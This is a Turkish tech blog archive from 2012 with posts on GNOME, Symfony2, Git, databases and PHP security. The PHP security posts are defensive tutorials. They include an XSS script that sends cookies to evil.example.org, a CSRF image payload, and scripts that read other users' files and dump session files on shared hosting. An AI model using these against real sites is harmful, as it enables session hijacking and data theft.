31 Ekim 2012 Çarşamba

Ubuntu Gnome Extension

Merhaba, Ubuntu işletim sistemine sahipseniz ve Gnome arayüzünü kullanıyorsanız çalışma ortamınızı özelleştirebileceğiniz bir sürü yöntem ve eklenti bulunuyor. Standart yapının dışında kendinize özel ve rahat edebileceğiniz şekilde eklentilere sahip olabilirsiniz. Örnek vermek gerekirse, - Alt+Tab ile pencereler arasında gezmek için efekt - Masaüstü butonları - Workspaces butonları - Dizin butonları - Tarih ve saat görselleri - Müzik severler için media pencereleri ve sayamayacağımız niceleri. Bunları sisteminize kurmak için yapmanız gerekenleri aşağıya yazıyorum. Eklentileri inceleyebilir ve kolayca kurabilirsiniz.
  1. https://extensions.gnome.org/ adresine giriyoruz.
  2. Sayfamızın üst kısmında çıkan yönergeye izin veriyoruz ve erişim izni tanımlamış oluyoruz.
  3. İstediğimiz eklentinin detay sayfasına girerek "Off" konumda olan butonu "On" konumuna alıyoruz.
  4. On konumuna aldıktan sonra açılan onay penceresine "Install" diyoruz ve eklentimiz hemen geliyor.
Yapmanız gerekenler bu kadar basit :) İşe yarar şeyler var. Göz atmanızı tavsiye ederim.   Devamı için : Ubuntu Gnome Extension

30 Ekim 2012 Salı

Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS

Hazırladığım bir projede Symfony2 formlarını özelleştirerek Bootstrap CSS ile entegre etmek istedim. Bunu başarmak için tabii ki Symfony2'de bir formül var: Form Themes. Symfony2 ile oluşturulan formlardaki tüm elemanların formatlarının tutulduğu bir dosya bulunuyor. Bu formatlarda istediğimiz gibi değişiklik yaparak, örneğin <div> tag'leri ekleyerek ve ya sınıflar atayarak Bootstrap ile uyumlu hale getirebiliyoruz. Bu yazıda Bootstrap CSS'in detayından bahsetmeyeceğim, fakat genel olarak ön yüz tasarımcılarının işini kolaylaştıran, daha da önemlisi yazılım geliştiricileri tasarım yapmaktan kurtaran bir CSS framework'u olduğunu söyleyebiliriz. Twitter tarafından tasarlanan bu framework, kullanım kolaylığı, tarayıcılarla uyumu ve estetik güzellik gibi çok iyi özelliklere sahip.

Boostrap Kurulumu

Öncelikle Bootstrap CSS indirip uygulamamıza dahil edelim. Şu adresten Bootstrap için gerekli dosyaları indirdikten sonra web klasörü altına açıyoruz. Daha sonra kullandığımız layout içerisinde bootstrap için gerekli dosyaları dahil ediyoruz.
# app/Resources/views/base.html.twig
<head><link href="{{ asset('css/bootstrap.min.css') }}" rel="stylesheet"></head>
<body>
<script type="text/javascript" src="{{ asset('js/bootstrap.min.js') }}"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script></body>
Bootstrap ile birlikte kullanabileceğiniz bazı javascript eklentileri de bulunuyor, bunlar jQuery gerektirdiğinden bu kütüphaneyi de dahil ediyoruz.

Symfony2 Formlarını Özelleştirmek

Symfony2'de oluşturduğumuz formları sayfada gösterirken bazı fonksiyonlar kullanıyoruz. Örneğin integer tipinde bir alanı integer_widget metodundan faydalanıyoruz. Fakat oluşan çıktının formatını değiştirmek istersek, iki yöntem kullanabiliriz. Birisi sadece ilgili fom için bu metodun çıktısını değiştirmek. Bu her ne kadar daha basit gibi görünse de, aynı işleme başka yerde ihtiyacımız olduğunda eziyet olacaktır. Bu yüzden bu yönteme ek olarak tüm formlarda bir metodun çıktısını değiştirmek için de bir yöntem bulunuyor. Önce sadece ilgili formda form_widget metodunu değiştirelim:
#src\Dubluve\NewBundle\Default\new.html.twig
{% extends '::base.html.twig' %}  {% form_theme form _self %}
{% block form_row %}  {% spaceless %}      <div class="control-group">          {{ form_label(form) }}          {{ form_errors(form) }}          <div class="controls">{{ form_widget(form) }}</div>      </div>    {% endspaceless %}  {% endblock form_row %}
{% block content %}      {{ form_row(form.email) }}  {% endblock %}
Bu sayfada kullanılan form için form_row metodu farklı bir çıktı oluşturacak, fakat diğer sayfalardaki formlar için çıktı aynı olacaktır. Eğer bu değişikliğin tüm formlar için geçerli olmasını istiyorsak kendi formatlarımızın bulunduğu bir dosya oluşturmamız gerekiyor. Yeni dosyada çıktısını değiştirmek istediğimiz metodlar olacak, diğerleri ise eskisi gibi çıktı oluşturmaya devam edecek. Yeni dosyayı proje klasörü içerisinde src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig  dosyasını yaratıyoruz.
#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %}
 {% block form_row %}
{% spaceless %}      <div>          {{ form_label(form) }}          {{ form_errors(form) }}          <div>{{ form_widget(form) }}</div>      </div>    {% endspaceless %}  {% endblock form_row %}
Dosyadaki extends ifadesi, değiştirilmeyen form elemanlarının eskisi gibi kalacağını ifade ediyor. Dosyayı oluşturduktan sonra config.yml dosyasını da aşağıdaki şekilde güncelliyoruz ve yeni dosyamızın global olarak kullanılacağını belirtiyoruz.
# Twig Configuration  twig:      form:        resources:          - 'DubluveNewBundle:Form:bootstrap.html.twig'

Bootstrap İle Entegrasyon

Yukarıdaki yöntemleri anlattıktan sonra aslında sadece bootstrap ile değil herhangi bir CSS framework ile entegrasyon oldukça basit. Aslında sadece bootstrap dosyalarını sisteme entegre etmek bile güzel bir görünüm sağlıyor :) Hazırladığım projede tüm formların bootstrap dokümantasyonunda anlatılan horizontal-form formatında olmasını ve hata mesajlarının bootstrap formatında çıkmasını istemiş ve dosyayı buna göre düzenlemiştim. Aşağıda kullandığım dosyayı görebilirsiniz.
#src\Dubluve\NewBundle\Resources\views\Form\bootstrap.html.twig
{% extends 'form_div_layout.html.twig' %}    {% block form_row %}  {% spaceless %}      {% if not form.children %}      <div class="control-group">          {{ form_label(form) }}          {{ form_errors(form) }}          <div class="controls">{{ form_widget(form) }}</div>      </div>      {% else %}          {{ form_errors(form) }}          {{ form_widget(form) }}      {% endif %}  {% endspaceless %}  {% endblock form_row %}    {% block form_label %}  {% spaceless %}      {% if not compound %}          {% set label_attr = label_attr|merge({'for': id}) %}      {% endif %}      {% if required %}          {% set label_attr = label_attr|merge({'class': (label_attr.class|default('') ~ ' required control-label')|trim}) %}      {% endif %}      {% if label is empty %}          {% set label = name|humanize %}      {% endif %}      <label {% for attrname, attrvalue in label_attr %} {{ attrname }}="{{ attrvalue }}"{% endfor %} >{{ label|trans({}, translation_domain) }}</label>  {% endspaceless %}  {% endblock form_label %}
{% block form_errors %}  {% spaceless %}      {% if errors|length > 0 %}          {% for error in errors %}              <div class="alert alert-error">{{                  error.messagePluralization is null                      ? error.messageTemplate|trans(error.messageParameters, 'validators')                      : error.messageTemplate|transchoice(error.messagePluralization, error.messageParameters, 'validators')              }}</div>          {% endfor %}      {% endif %}  {% endspaceless %}  {% endblock form_errors %}
Devamı için : Symfony2 Formlarini Ozellestirmek ve Bootstrap CSS

29 Ekim 2012 Pazartesi

Online Storage Hizmetleri Kiyaslamasi

Bu yazıyı yazmamın amacı, internette bir furya halinde yayılan Bulut depolama (cloud storage) hizmetleri arasında bir kıyas yapmaya olanak sağlamaktır. Piyasada bir çok firma bu hizmeti veriyor. (buradan görebilirsiniz). Ancak ben sadece ismini duyduğum büyük firmaların hizmetlerini buraya yazdım.
Hizmetin Adı Ücretsiz Alan Desteklediği Ortam URL
DropBox 2GB Windows, Mac, Linux + Mobil Cihazlar https://www.dropbox.com/
UbuntuOne 5GB Windows, Mac, Linux + Mobil Cihazlar https://one.ubuntu.com/
GoogleDrive 5GB Windows, Mac, Linux + Mobil Cihazlar https://drive.google.com
iCloud 5GB Apple Cihazlar https://www.icloud.com/
SkyDrive 7GB Windows, Mac, Linux + Mobil Cihazlar http://windows.microsoft.com/en-US/skydrive/download
Ayrıca bu yazıyı yazarken araştırdığımda microsoftun skydrive sayfasında şöyle bir kıyaslama buldum. Burada microsoftun gözünden de ilgili kıyaslamayı görebilirsiniz. Benim tavsiyem ise, en kolay bir şekilde kurup, klasörünü özelleştirebileceğimiz DropBox ve GoogleDrive arasında tercih yapmanız olacaktır. Devamı için : Online Storage Hizmetleri Kiyaslamasi

26 Ekim 2012 Cuma

ipad3 ve usb sarj problemi - asus ai charger

Henüz elime geçen ipad3 ümü tabiki , kurcalayarak şarjını bitirdim, ancak bilgisayarımın USB sine takıp şarj etmek istediğimde "not charging" (şarj olmuyor) yazıyor. Böyle olunca da biraz araştırmak gerekti tabi. IPad 3 lerin pili daha eski nesillere göre gelişmiş  olduğunu okudum. Böyle olunca daha kuvvetli şarj cihazlarına ihtiyaç duyduklarını da okudum. Bizim USB lerimiz ise, varsayılan olarak daha az akım gönderdiği için USB den ipad3 şarj olmuyor ibaresini görüyordum. (aslında şarj oluyor ancak, çoook çok az, öyle ki şarja takılı olduğunu anlıyor ve güncelleme bile yapıyor. Ancak şarj olma miktarı aleti tatmin etmiyor. Sabaha kadar bıraksanız %10 dolar veya dolmaz :) ) Cİhazı elektrik kablosu ile şarj etmem gerektiğini söylüyorlar, ancak amerikadan geldiği için uyumlu şarj cihazım yok. Bir Çevirici almam gerekiyor. Bunu geçici olarak gidermek için de, Asus'un Ai Charger adlı programını keşfettim. Buradan Download edebileceğiniz yazılım ile, bilgisayarınızın USB çıkışlarına bir miktar daha fazla akım gönderebilirsiniz. Böylelikle hem de iphone'larınız normalden daha hızlı şarj olacak. Normalde Mac bilgisayarların USB leri bu şekilde yüksek akım verdiklerinden onlarda böyle bir problem olacağını zannetmiyorum. Asus Ai charger programının bir zararını görene de denk gelmedim ancak yine de sürekli veya sık sık kullanılmasını tavsiye etmiyorum. (USB girişlerinizi yakmamak adına) Program ile normalde 2 saatte USB den dolan Iphone 4 'üm de yaklaşık 40 dakikada full dolacak hale geldi diyebilirim. Tabi ki bu sizin anakartınızla ve USB leriniz ile doğru orantılı olacağından değişecektir. Not : Programın Linux versiyonunu bulamadım. Devamı için : ipad3 ve usb sarj problemi - asus ai charger

25 Ekim 2012 Perşembe

Foreign key nedir - Foreign key aksiyonlari

Foreign Key Nedir?

Ön not : Foreign key için türkçe bir ifade bulamadım. Foreign key'ler, farklı tablolardaki sütunlar için ilişki ve kısıt uygulama yoludur. Bu durumda ilişkili tablolardan bazıları çocuk bazıları da ebeveyn tablo gibi anılabilir. Bu iş, tıpkı OOP deki sınıf ilişkilerine benzer. Örneğin bir Üye ve bu üyeye ait birden fazla adres bilgisi tutuluyorsa, bir üye tablosu ve bir adres tablosuna ihtiyacımız olacak. Bu adres tablosunda da üyeye ait tekil (unique) bir değer (join etmek için dahi olsa) bulunması gerekecektir. Bu noktada anlatılmak istenen, o tekil değer üzerinden foreign key tanımlarsak dünya daha yaşanabilir bir yer haline gelebilir ;) Aşağıdaki aksiyonları tanımlayarak, manuel olarak yapılacak bir çok işlemden aslında otomatik olarak kurtulabiliriz.

Foregin key aksiyonları:

Farklı foreign key kısıt aksiyonlari (kategorileri) vardır. Bunlar nasıl tetiklendiklerine ve nasıl zorlandıklarıan göre değişmektedir :
  • Cascade: (basamaklamak) Ebeveyen tablodan bir satır silindiğinde, aynı foreign key'e sahip satırların tümü çocuk tablodan da silinir. Veya ana tablodaki foreign key tanımlanan sütun üstündeki değişimler, bu çocuk tablodaki ilgili satırlar için de uygulanır.
  • Restrict: (kısıtlamak)Yavru tabloda bir değişiklik meydana geliyorsa, ebeveyn tablodaki silme işlemi yapılamaz. Aynı şekilde değeri de değiştirilemez.
  • No Action: (işlem yok) No action, restrict e çok benzer. Ancak işlemi engellemek yerine, manuel olarak store precedure vb ile ilgili işlemi manuel olarak giderme fırsatı verir.
  • Set NULL: (Null atamak) Foregin key tanımlanacak sütun için NULL izin verilen bir değer ise, ebeveyen tabloda bir değişiklik veya silme işlemi olduktan sonra, çocuk tablodaki ilgili sütun NULL atanır.
  • Set Default: (Varsayılan Atamak) Eğer foreign key tanımlanan sütun için varsayılan bir değer atanmış ise, Ana tabloda yapılan değişiklikten sonra çocuk tablodaki değerler Varsayılan olana atanır.
Devamı için : Foreign key nedir - Foreign key aksiyonlari

percona server nedir

Percona, Mysql ve InnoDb performansında uzman

Perconaserver, Percona firması tarafından geliştirilen bir mysql uyarlamasıdır. Mysql'i daha performanslı hale getirip ölçeklendirilmesini ve monitör edilmesini de basitleştirir.
perconaserver ile, mysql kullanımınız hiç değişmez. Ancak bu kişiler innodb ve mysql konusunda gerçekten uzman kişiler. Açık kaynak olarak verdikleri bu ürün ile birlikte dilerseniz paralı destek ve hizmet alabiliyorsunuz. Tabi belirtmeliyim ki ben orta - büyük ölçekli bir işte kullanmama rağmen paralı destek almadan işlerimi yoluna koyabildim.
Sitelerinde de belirttikleri gibi, tüm yazılımları açık kaynak ve ücretsizdir.
Daha sonraki yazılarda, percona serverin kurulması vb konulara da değineceğim.
Şimdilik görüşmek üzere.
Devamı için : percona server nedir

23 Ekim 2012 Salı

Git Versiyon Kontrol Sistemi - Başlangıç

gitBu yazımda en popüler versiyon kontrol sistemlerinden biri olan GIT ile ilgili aldığım notları paylaşacağım. -Git daha verimli çalışma için daha önce oluşturulmuş ve değişiklik yapılmamış olan belgeleri yeniden kaydetmez. Bunun yerine daha önce kaydedilmiş olan belgeye link oluşturur. Bu özellik Git versiyon kontrol sistemini diğerlerinden ayıran en önemli farktır. -Git'in hızlı çalışması birçok işlemi localde gerçekleştirmesi sayesinde mümkün olmaktadır.Bütün değişiklik tarihi bilgisayarınızda tutulduğu için işlemler çok hızlı yapılabilmektedir.Örneğin projenin geçmişi ile ilgili bilgilere erişmek istediğinizde git uzak sunucuya giderek herhangi bilgi çekme gereksinimi duymaz ve gerekli bilgileri zaten makinenizde barındırdığından anında size sunar. Git'in local bazlı çalışması sayesinde offline olduğunuz durumlarda diğer versiyon kontrol sistemlerinin aksine yapamayacağınız çok az şey oluyor. -Git herhangi bir bilginin kendi kontrolü dışında değiştirildiğini anında tespit eden bir mekanizmaya sahiptir. Git'in kullandığı bu mekanizma "SHA-1 hash" olarak adlandırılmaktadır. Her bir belge ve projenin dosya yapısına karşılık gelen 40 karakterden oluşan bir string oluşturulmaktadır. Bu sayede git kendi bilgisi dışında yapılan değişiklikleri anında algılar.   -Git sayesinde işlemlerimizi daha cesurca gerçekleştirmemiz mümkün çünkü herşeyin kaydı tutuluyor ve istediğimiz zaman değişiklikleri geri alabiliriz. Kısaca elimizi korkak alıştırmaya gerek yoktur. -Önemli: Git kullanırken belgelerimiz 3 aşamadan birinde olur. Bunlar "committed", "modified" veya "staged" aşamalarıdır. Commited: Belgenin başarılı bir şekilde değiştirildiğini ve local veritabanına kaydedildiğini belirtir. Modified: Belgeyi değiştirdiğiniz ancak henüz commit etmediğiniz aşamadır., Staged:   İki farklı belge üzerinde çalıştığımızı varsayalım. Bir belgede yapmayı planladığımız bütün değişiklikleri o gün içerisinde tamamlıyoruz diğer belgede başladığımız işi ise tam olarak tamamlayamadan commit yapmak istiyoruz. Bu durumda henüz tamamlanmamış olan belgemizi commit etmek yerine onu staged olarak işaretliyoruz ve commit yaptığımızda sadece işimizi tamamladığımız belgenin commit edilmesini sağlamış oluyoruz. Orijinal açıklama için buraya bakınız -Git'de belgeleriniz 3 farklı dizin vardır bunlar orijinal isimleriyle şunlardır: Git directory, working directory ve staging area  

Git Kurulumu (Linux - Ubuntu)

Git'in bağlı olduğu bazı kütüphanelerin kurulumunu gerçekleştirmek gerekiyor öncelikle. Bunlar curl, zlib, openssl, expat ve libiconv kütüphaneleridir. Bunun için şöyle bir komut yazıyoruz: $ sudo apt-get install libcurl4-gnutls-dev libexpat1-dev gettext \libz-dev libssl-dev Daha sonra aşağıdaki komutu yazarak git kurulumunu gerçekleştirmeniz gerekmektedir. $ sudo apt-get install git-core  

Git Konfigürasyon Ayarları

Aşağıdaki komutları kullanarak isminiz ve email adresiniz gibi bilgileri tanıtabilirsiniz. $ git config --global user.name "Ferid Mövsümov" $ git config --global user.email faridmovsumov@gmail.com Burada --global kullanarak ayarlarınızın sistem bazında tanıtılmasını sağlamış olursunuz. Yani makinenizdeki bütün git işlemleri için bu ayarlar geçerli olacaktır. Yorumlarınızı yazarken kullanılacak varsayılan editörü belirlemek için aşağıdaki komutu kullanabilirsiniz. Eğer bu ayarı belirtmezseniz sisteminizdeki varsayılan editör kullanılacaktır. $ git config --global core.editor emacs Versiyonlar arasındaki değişiklikleri incelemenizi sağlayan varsayılan diff aracını belirlemek için aşağıdaki komut kullanılabilir $ git config --global merge.tool vimdiff Sistemde tanımlı olan git ayarlarını görmek için aşağıdaki komutu kullanmanız gereklidir. git config --list  

Git Yardım Komutları

$ git help <verb> $ git <verb> --help $ man git-<verb>   KAYNAK: http://git-scm.com/book Devamı için : Git Versiyon Kontrol Sistemi - Başlangıç

22 Ekim 2012 Pazartesi

Sirketlerde Bilgi Guvenliginin Onemi

İş hayatında büyük rekabetin yaşandığı bu dönemde, Türkiyede birçok büyük şirket bilgi güvenliğine önem vermemektedir. Şirketler arası rekabet açısından kilit rol oynayabilecek çok önmeli bilgiler böylece rakip şirketlerin eline geçebilmekte ve şirketler büyük zararlara uğrayabilmektedirler.  Büyük şirketlerde çalışan arkadaşlarımla yaptığım sohbetlerden arkadaşlarımın herhangi şekilde dış tehditlere karşı uyarılmadıkları konusunda bilgi aldım. Sadece çalışanların bilgisayarları çeşitli yazılımlarla korunmaya çalışılmaktadır. Bu yazılımlar bilgisayara herhangi yazılım yüklenmesini önlemektedirler. Arkadaşım Gtalk bile yükleyemediğinden bahsetmişti. Bu yöntemle belkide bilgisayar virüslerden ve çeşitli bilgi çalmaya yönelik olan yazılımlardan başarılı bir şekilde  korunabilir ancak şirketler sosyal mühendislik yöntemleriyle bilgi çalma yeteneği bulunan korsanlardan korunamazlar. Şirket yöneticileri sosyal mühendislik yöntemiyle yapılabilecek saldırılara karşı çalışanları eğitmelidirler. Yöneticiler bu konuda profesyonellere başvurarak personelin bu konuda bilgilendirilmesini sağlayabilirler. Profesyonel kişilere ödenecek paraları çok yüksek bulan şirket yöneticilerine başka bir tavsiyem olabilir bu da ünlü hacker Kevin D. Mitnick'in "Aldatma Sanatı" isimli kitabını okumak. Bu kitap şirket için önemli olan bilgilerin kötü niyetli kişilerden nasıl korunabileceği konusunda herkesin anlayabileceği bir dilde yazılmıştır yani kitabı anlamak için herhangi teknik bilgiye sahip olmanız gerekmemektedir. Kitapta öncelikle yapılan saldırılar anlatılmakta daha sonra Kevin D. Mitnick bu saldırılara karşı korunmak için ne gibi önlemler alınabileceğinden bahsetmektedir. İlgimi çeken bir noktaya değinmek istiyorum, kitapçılarda bu kitap genellikle bilgisayar kitaplarının arasında yer almaktadır ve bilgisayarla ilgili teknik bilgiye sahip olmayan kişiler de bu bölüme göz atmaktan genellikle kaçınmaktadırlar, oysaki bu kitabın daha çok iş hayatıyla ilgili şirket yöneticilerinin sıkça göz attıkları raflarda bulunması daha faydalı olurdu diye düşünüyorum. Ayrıca kitabın kötü niyetli kişiler içinde hazine niteliğinde olduğunu belirtmek isterim. Peki sosyal mühendislik yöntemleri nelerdir? sosyal muhendislikPek çok kişi hackerlerin sadece bir bilgisayar kullanarak sistemlere sızabileceğini, istediği bilgileri alabileceklerini düşünmektedirler. Oysaki gerçekte hiç de bu işler düşünüldüğü gibi bilgisayar vasıtasıyla yapılmamaktadır. Sosyal mühendislik dediğimiz yöntemler genellikle başka bir kişiyi telefonda veya yüzyüze ikna ederek istenilen bilgiyi o kişiden alma mantığına dayanmaktadır. Çok iyi bir sosyal mühendis bilgisayar klavyesine el sürmeden şirketiniz açısından can alıcı bilgileri sadece birkaç telefon görüşmesi kullanarak elde edebilir. Bu nedenle çalışanların bu tarz kişilere karşı daha uyanık olması için bilinçlendirilmiş olması büyük önem taşımaktadır. Devamı için : Sirketlerde Bilgi Guvenliginin Onemi

Php Guvenlik - 3

Session Güvenliği

php güvenlikSession içerisinde çok önemli bilgiler tutulduğundan session güvenlik açısından çok önemlidir. Session verilerinin sunucu tarafında tutulması güvenlik açısından içimizi rahatlatan en önemli faktördür. SSL kullanımını etkinleştirmek server ve client arasındaki veri akışının daha güvenli bir biçimde sağlanması açısından önemlidir. SSL sayesinde bütün HTTP istek ve yanıtları korumalı bir şekilde aktarılır. Güvenlik kalkanınızı biraz daha güçlendirmek isterseniz session içerisine yazılacak verileri şifreleyerek yazmayı tercih edebilirsiniz. Böylece session içerisindeki veriler şifrelemeyi çözecek anahtar olmadan okunamaz. Şifreleme işi session_set_save_handler( )  fonksiyonu yardımıyla yapılabilir. Session değişkenini her seferinde yeniden üretmek de saldırganın işini zorlaştıracaktır <?php session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = TRUE; } ?> Sitemizde bir belgeden aldığımız verileri arayüzde göstereceksek file_get_contents  den gelen veriler filtrelenmelidir. Bunu aşağıdaki gibi yapabiliriz: <?php $clean = array(); $html = array(); /* Filter Input ($_GET['filename']) */ $contents = file_get_contents($clean['filename']); /* Filter Input ($contents) */ $html['contents'] = htmlentities($clean['contents'], ENT_QUOTES, 'UTF-8'); echo $html['contents']; ?>  

Login Formlarının Güvenliği

Sisteminize kayıtlı üyenin kullanıcı adı, şifre bilgilerini yazarak sisteme giriş yapacağı formların güvenliğinin sağlanması çok önemli bir güvenlik konusudur. Sisteme giriş yapmak isteyen bir saldırgan sürekli farklı şifreler deneyen bir bot tasarlayarak sisteminize giriş yapmaya çalışacaktır. Bu tarz botları engellemek amacıyla çeşitli güvenlik önlermleri alınabilir. Bunlardan bir tanesi sisteme giriş formunuzda captcha kullanmaktır. Bu çözüm başarılı olsa da kullanıcıları sıkan bir yöntem olduğundan bu yöntemi tercih etmek istemeyebilirsiniz. Alacağınız bir diğer güvenlik önlemi ise bir kişinin art arda belli bir zaman aralığında yanlış şifre denemesi yaptığını tespit ederek onun belli bir süre sisteme giriş yapmasını engellemektir. Bu süre 15 dk olarak belirlenebilir. Örneğin 3 kere yanlış şlifre girilirse bir daha deneme yapmak için 15 dk beklemesi gerekecek. Bu tarz bir yöntem saldırganın işini oldukça zorlaştıracaktır. Http isteklerinin saldırgan tarafından dinlenmesi ihtimali göz önüne alınarak bu isteklerin güvenli bir şekilde gidip gelmesi amacıyla https protokolü kullanılabilir. Bu şekilde server ve client arasındaki veri akışı bir saldırgan tarafından ele geçirilse bile içeriğin ne olduğu kolay kolay çözülemeyecektir.  

Paylaşımlı Hosting Kullanımından Doğabilecek Güvenlik Açıkları

Paylaşımlı hosting üzerindeki başka bir sitenin sahibi olan geliştirici sizin kaynak kodlarınızı okuyabilecek bir script geliştirebilir. Aşağıdaki gibi bir kodda file isminmi belirtmek bu işi gerçerkleştirmek için yeterlidir.   <?php header('Content-Type: text/plain'); readfile($_GET['file']); ?>   Bu güvenlik açığını engellemek amacıyla alacağınız önemli önlemlerden bir tanesi de çok önemli bilgileri mümkün olduğunca veritabanında tutmaya çalışmaktır. Ancak bu da her zaman çözüm değildir çünkü veritabanı erişim bilgilerini yine de kaynak kodlarımız içerisinde tutmamız gerekecek. Bu soruna da şöyle bir çözüm getirebiliriz. Veritabanı erişim bilgilerini sadece root erişimi olacak şekilde ayarlarız.   SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass"   Bu değişkenlere kod içerisinde şu şekilde erişebiliriz:   <?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> Önemli verileriniz $_SERVER değişkeninde olduğundan bu bilgileri kullanıcya sunabilecek phpinfo() fonksiyonunun kullanıcılara açık bir yerde kullanılmasından kaçının. Session verilerinizin de güvenliği paylaşımlı hosting kullanımlarında tehlike altındadır. Session bilgileri tmp dosyası altında tutulur ve bu dosya bütün apache kullanıcılarının yazma izniyle erişebileceği bir yerdir.  Kötü niyetli bir kişi session verilerinin yazacağı bir script yardımıyla okuyabilir. Bu script aşağıdaki gibi olabilir.   <?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $data = file_get_contents("$path/$filename"); if (!empty($data)) { session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?> Böyle bir güvenlik açığını kapatmanın yolu session bilgilerini veritabanında tutmaktır.  

Php safe mode

Bu mod açık ise bir script çalıştırıldığında o scripti ç.alıştıran kullanıcı ile erişilmeye çalışılan kaynak sahibinin aynı kullanıcı olup olmadığı kontrol edilir. Böylece başka bir kullanıcının sizin dosyalarınıza erişimi engellenmiş olur. Safe Mode php ile yazılmış scriptler için güvenlik sağlarken diğer dillerde yazılmış olan scriptler açısından bir şey ifade etmez. Aşağıdaki gibi bir CGI scripti buna örnektir.   #!/bin/bash echo "Content-Type: text/plain" echo "" cat /home/victim/inc/db.inc   Host tarafından desteklenen Perl, Phyton gibi dillerde yazılacak scriptlerin hiçbiri safe mode ayarını dikkate almayacaktır.   Safe modun bir diğer zayıf tarafı ise scriptlerin kendi içerisinde yeni script yaratabilir ve bu yaratılan yeni scriptin sahibi web server olacaktır. Web server bütün dosyalara erişim hakkına sahip olduğundan safe modun burada herhangi güvenlik etkisi kalmayacaktır.
Kaynak : Php Essential Security- O'Reilly Devamı için : Php Guvenlik - 3

Php Guvenlik - 2

php güvenlikWeb uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.

Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz

<?php

   $filename = $_FILES['attachment']['tmp_name'];

   if (is_uploaded_file($filename))

   {

      /* $_FILES['attachment']['tmp_name'] is an uploaded file. */

   }

?>  

Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.

<?php

   $old_filename = $_FILES['attachment']['tmp_name'];

   $new_filename = '/path/to/attachment.txt';

   if (move_uploaded_file($old_filename, $new_filename))

   {

      /* $old_filename is an uploaded file, and the move was successful. */

   }

?> Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.  

Cross Site Scripting (XSS)

Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım <script>

   document.location = 'http://evil.example.org/steal.php?cookies=' +

   document.cookie

</script>   Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET['cookies'] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir. Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir.   <?php

    $clean = array();

    $html = array();

    /* Filter Input ($name, $comment) */

    $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');

    $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');

    echo "<p>{$html['name']} writes:<br />";

    echo "<blockquote>{$html['comment']}</blockquote></p>";

?>  

CSRF Saldırıları (Cross-Site Request Forgeries)

Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url'yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url'yi inceleyelim. http://store.example.org/buy.php?item=pen&quantity=1 Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yaomanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir. Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir. HTML tagı img'nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url'ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir. <img src="http://store.example.org/buy.php?item=pencil&quantity=50" /> Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir: GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır. Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir.   <?php

   session_start();

   $token = md5(uniqid(rand(), TRUE));

   $_SESSION['token'] = $token;

   $_SESSION['token_time'] = time();

?>

<form action="buy.php" method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<p>

Item:

<select name="item">

<option name="pen">pen</option>

<option name="pencil">pencil</option>

</select><br />

Quantity: <input type="text" name="quantity" /><br />

<input type="submit" value="Buy" />

</p>

